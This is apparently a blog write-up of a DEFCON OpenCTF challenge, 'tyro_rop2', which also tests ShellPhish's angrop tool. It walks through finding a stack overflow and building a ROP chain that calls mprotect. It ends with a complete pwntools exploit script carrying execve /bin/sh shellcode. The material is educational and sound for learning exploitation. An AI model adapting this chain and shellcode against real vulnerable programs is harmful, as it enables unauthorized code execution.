I had a chance to try out a few of the OpenCTF challenges this year at DEFCON. After OpenCTF was over, I went to a talk given by the ShellPhish team about their Cyber Grand Challenge adventure. In it, they open sourced one part of their tool called angrop. To be clear, they are intent on opening up the rest of their tools, but for now this was the one that was ready to go. Given that there's a brand new ROP tool to play with, and I have OpenCTF challenges to look at, I decided to give it a go and take angrop for a test drive.

 

Given the name, this challenge deals with using Return Oriented Programming. In this case, the use of that term is a bit misleading since, while accurate, most people will think of pop-pop-ret style programming when they hear ROP. Anyways...

 

$ file tyro_rop2_8be61a1002b74b6dd6b0838c7384db84 
tyro_rop2_8be61a1002b74b6dd6b0838c7384db84: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=c01fa0bb8e0657a49f32e072fadb4018f78fbc79, not stripped

 

All the challenges I looked at for this competition were 32-bit. This is likely the authors being nice to players as it allows them to use IDA Pro freeware version to look at the challenge. In this case, however, let's use radare2 as it is a better general purpose tool for the future and you will be able to use it with 64 bit binaries as well.

 

Give it a test run:

 

$ ./tyro_rop2_8be61a1002b74b6dd6b0838c7384db84 
OpenCTF tyro rop2

Stack is RW, you will have to ROP, and no &system is given
buff[128] is at 0xffe709b0
BLERG
Got BLERG
!

 

As with the previous intro exploit challenges, it reads in input, then echos it back out. Let's take a look at the main function in r2.

 

Main Function

 

This is fairly strait forward. The application creates space for the input, it sets an alarm, sets properies on stdin/stdout, prints some info, calls mprotect, then calls the vulnerable function. One interesting this to note here is that the compiler chose to go with stack pointer based variables (see "esp + local_8h" for example). IDA Pro does not have great support for this type of thing, and actually when you attempt to give them a human readable name it gets all messed up and actually names the location in the code. However, radare2 successfully names these variables with the command "afvsn <old> <new>". One example of where radare2 is actually performing better than IDA Pro.

 

Now let's take a look at the vulnerable function itself:

 

Vulnerable

 

See the call to fgets where we read in at most 2048 (0x800) bytes. The address that it is read into is at ebp-0x88, so we have a massive buffer overflow here. To verify that the overflow works, we'll send an input of 0x88 "A"s, 4 "B"s, and 4 "C"s. In this case, we expect our instruction pointer to be all "C" values and our base pointer to be all "B" values.

 

$ gdb ./tyro_rop2_8be61a1002b74b6dd6b0838c7384db84 
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
<snipped> Reading symbols from ./tyro_rop2_8be61a1002b74b6dd6b0838c7384db84...(no debugging symbols found)...done.
(gdb) r
Starting program: /home/user/openctf/tyro_rop2/tyro_rop2_8be61a1002b74b6dd6b0838c7384db84
OpenCTF tyro rop2

Stack is RW, you will have to ROP, and no &system is given
buff[128] is at 0xffffc340
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC
Got AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC
!

Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()
(gdb) i r
eax            0x0    0
ecx            0xffffffff    -1
edx            0xf7fae870    -134551440
ebx            0x0    0
esp            0xffffc3d0    0xffffc3d0
ebp            0x42424242    0x42424242
esi            0xf7fad000    -134557696
edi            0xf7fad000    -134557696
eip            0x43434343    0x43434343
eflags         0x10282    [ SF IF RF ]
cs             0x23    35
ss             0x2b    43
ds             0x2b    43
es             0x2b    43
fs             0x0    0
gs             0x63    99

 

The program crashes as we expect. Now comes the part where we play with angrop! I will say up front that there are certainly stronger examples than this one of where you would want a rop tool like this, but why not use it here too?

 

The idea of angrop is to give you a pythonic interface to building rop payloads. It integrates tightly into the angr framework, which means that it gives you the ability to do many things with the binary without ever leaving your python shell. It also utilizes a constraint solver to help find solutions for your payload generation. I should mention that there are many other tools that help with rop payloads. In fact, there's one that is very similar in nature created by Jeff Ball called rop_compiler. I definitely recommend you take a look at that tool as well if you're interested in this subject.

 

Let's open up this binary with angrop:

 

In [1]: import angr, angrop

In [2]: proj = angr.Project("tyro_rop2_8be61a1002b74b6dd6b0838c7384db84")

In [3]: rop = proj.analyses.ROP()

In [4]: rop.find_gadgets()

 

This follows the same project mentality that the rest of angr does. In fact, the first two steps are the same if you're using angr for symbolic execution directly or if you want to run the rop tool on it. Note how it is integrated directly into angr as an analysis class (line 3). Also note that what that call gives you is actually an empty rop analysis class. Line four is where we ask angr/angrop to find us gadgets. When angrop finds gadgets, it sorts the gadget into either a normal gadget, or a stack_pivot gadget. Let's take a look at what a gadget is to angrop:

 

In [5]: print(rop.gadgets[2])
Gadget 0x80483e0
Stack change: 0x10
Changed registers: set(['ebx'])
Popped registers: set(['ebx'])
Register dependencies:
Memory add:
    address (32 bits) depends on: ['eax']
    data (8 bits) depends on: ['eax']

 

Notice that it separates out what this gadget does based on memory, stack, and register changes. There are also methods assigned if you would like to loop through the the discovered gadgets yourself:

 

dir(g)
Out[18]:
['addr',
 'block_length',
 'bp_moves_to_sp',
 'changed_regs',
 'copy',
 'makes_syscall',
 'mem_changes',
 'mem_reads',
 'mem_writes',
 'popped_regs',
 'reg_controllers',
 'reg_dependencies',
 'reg_moves',
 'stack_change',
 'starts_with_syscall']

 

Let's take a peek at what methods the rop class exposes itself:

 

In [23]: dir(rop)
Out[23]:
[ 'add_to_mem',
 'chain_builder',
 'do_syscall',
 'errors',
 'execve',
 'find_gadgets',
 'find_gadgets_single_threaded',
 'func_call',
 'gadgets',
 'kb',
 'load_gadgets',
 'log',
 'named_errors',
 'project',
 'save_gadgets',
 'set_regs',
 'stack_pivots',
 'write_to_mem',
 'write_to_mem_v2']

 

Obviously this is a new tool to all of us, but the naming convention is fairly strait forward. It exposes primitives such as writing memory, setting registers, stack pivots, and calling functions. It also appears to be able to create an execve chain, which is a common thing to want to build with a rop payload. Saving your gadgets can similarly be important when you have large binary files that you need to use rop on as discovering the gadgets can be a time consuming process.

 

At this point in my exploitation of this problem I honestly got side-tracked into looking for a legit pop-pop-ret style rop payload. The problem is that this is a very small binary that utilizes shared libraries. This means that, usually, any syscalls will happen outside of the main binary. Also, due to the small size of code to work with, creating a full rop payload is difficult.

 

After giving up on my quest to create a full scale rop payload, i looked back at the imports again:

 

[0x08048490]> ii
[Imports]
ordinal=001 plt=0x08048400 bind=GLOBAL type=FUNC name=setbuf
ordinal=002 plt=0x08048410 bind=GLOBAL type=FUNC name=mprotect
ordinal=003 plt=0x08048420 bind=GLOBAL type=FUNC name=printf
ordinal=004 plt=0x08048430 bind=GLOBAL type=FUNC name=fgets
ordinal=005 plt=0x08048440 bind=GLOBAL type=FUNC name=alarm
ordinal=006 plt=0x08048450 bind=GLOBAL type=FUNC name=malloc
ordinal=007 plt=0x08048460 bind=GLOBAL type=FUNC name=puts
ordinal=008 plt=0x08048470 bind=UNKNOWN type=NOTYPE name=__gmon_start__
ordinal=009 plt=0x08048480 bind=GLOBAL type=FUNC name=__libc_start_main

 

It dawned on me that, while we no longer have the easy win of just calling the system function, we do have that mprotect call. For those who don't know, mprotect is a function that is used to set memory page permissions, such as read/write/execute. It's at a static offset since this is not a Position Independent Executable. All we should have to do is use mprotect to change the permissions on our buffer to allow execution, then jump to it. Given that we know the location of our buffer, the location of mprotect, and have an easy buffer overflow, we have all the pieces we need.

 

Let's ask this new tool to give us a rop payload to do just this:

 

In [38]: chain = rop.func_call("mprotect",[0xffb601e0,0x800,7]) + rop.func_call(0xffb601e0,[])

In [39]: chain.print_payload_code()
chain = ""
chain += p32(0x8048410)
chain += p32(0x80483e2)    # add esp, 8; pop ebx; ret
chain += p32(0xffb601e0)
chain += p32(0x800)
chain += p32(0x7)
chain += p32(0xffb601e0)

 

In this case, I used the "func_call" method as I wish to call the mprotect function. I was able to give it just the string name and angrop was able to convert it to the correct address. Further, angrop was able to take the argument list provided (the second argument) and place it in our chain. Finally, we effectively call (technically it's a return) to our buffer. I gave an example buffer address in this case, however this will become a variable soon. Also note that the "p32" calls are actually pwntools functions (the great Gallopsled tool suite).

 

Attempting the following exploit line failed with SEGFAULT:

 

exp = shellcode + "A"*(140 - len(shellcode)) + chain

 

I was a bit rusty on mprotect, but reading up on it I (re)discovered that the memory boundary that we were mprotecting on needed to be at the page boundary. This means that I can't just tell mprotect to change our buffer, I have to offset that to be at the page boundary, and then ask for the page to be changed. The page size on my system is 4096, so I just dropped the memory address down to that boundary and the exploit worked.

 

I've inlined the script below, and posted it on github. Really, the rest of the script (not described) is simply mechanics of using pwntools and python to interact with the binary.

 

#!/usr/bin/env python

from pwn import *
import math

# Change this value if your page size is different
PAGE_SIZE = 4096
PAGE_SHIFT = int(math.log(PAGE_SIZE,2))

# Interact with the process
p = process("./tyro_rop2_8be61a1002b74b6dd6b0838c7384db84")

# Figure out the buffer address
p.recvuntil("buff[128] is at ")
buf = int(p.recvline(),16)

# Use the chain that angrop gave us, with a few modifications
chain = ""
chain += p32(0x8048410)
chain += p32(0x80483e2) # add esp, 8; pop ebx; ret
chain += p32((buf >> PAGE_SHIFT) << PAGE_SHIFT) # location to change perms on (needing to page align)
chain += p32(PAGE_SIZE) # Size to change perms on
chain += p32(0x7) # What to change them to, 7 == RWX
chain += p32(buf) # Go ahead and call our area now that it should be executable

# Standard execve /bin/sh
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"

# Chain should start 140 in
exp = shellcode + "A"*(140 - len(shellcode)) + chain

# Send the exploit
p.send_raw(exp + "\n")

# Interact with our shiny new shell
p.interactive()

 

As I stated before, I did this one after OpenCTF was completed, so I don't have the flag to give you. Still, it was a nice introduction into angrop. Looking forward to what other fun things we can do with this tool!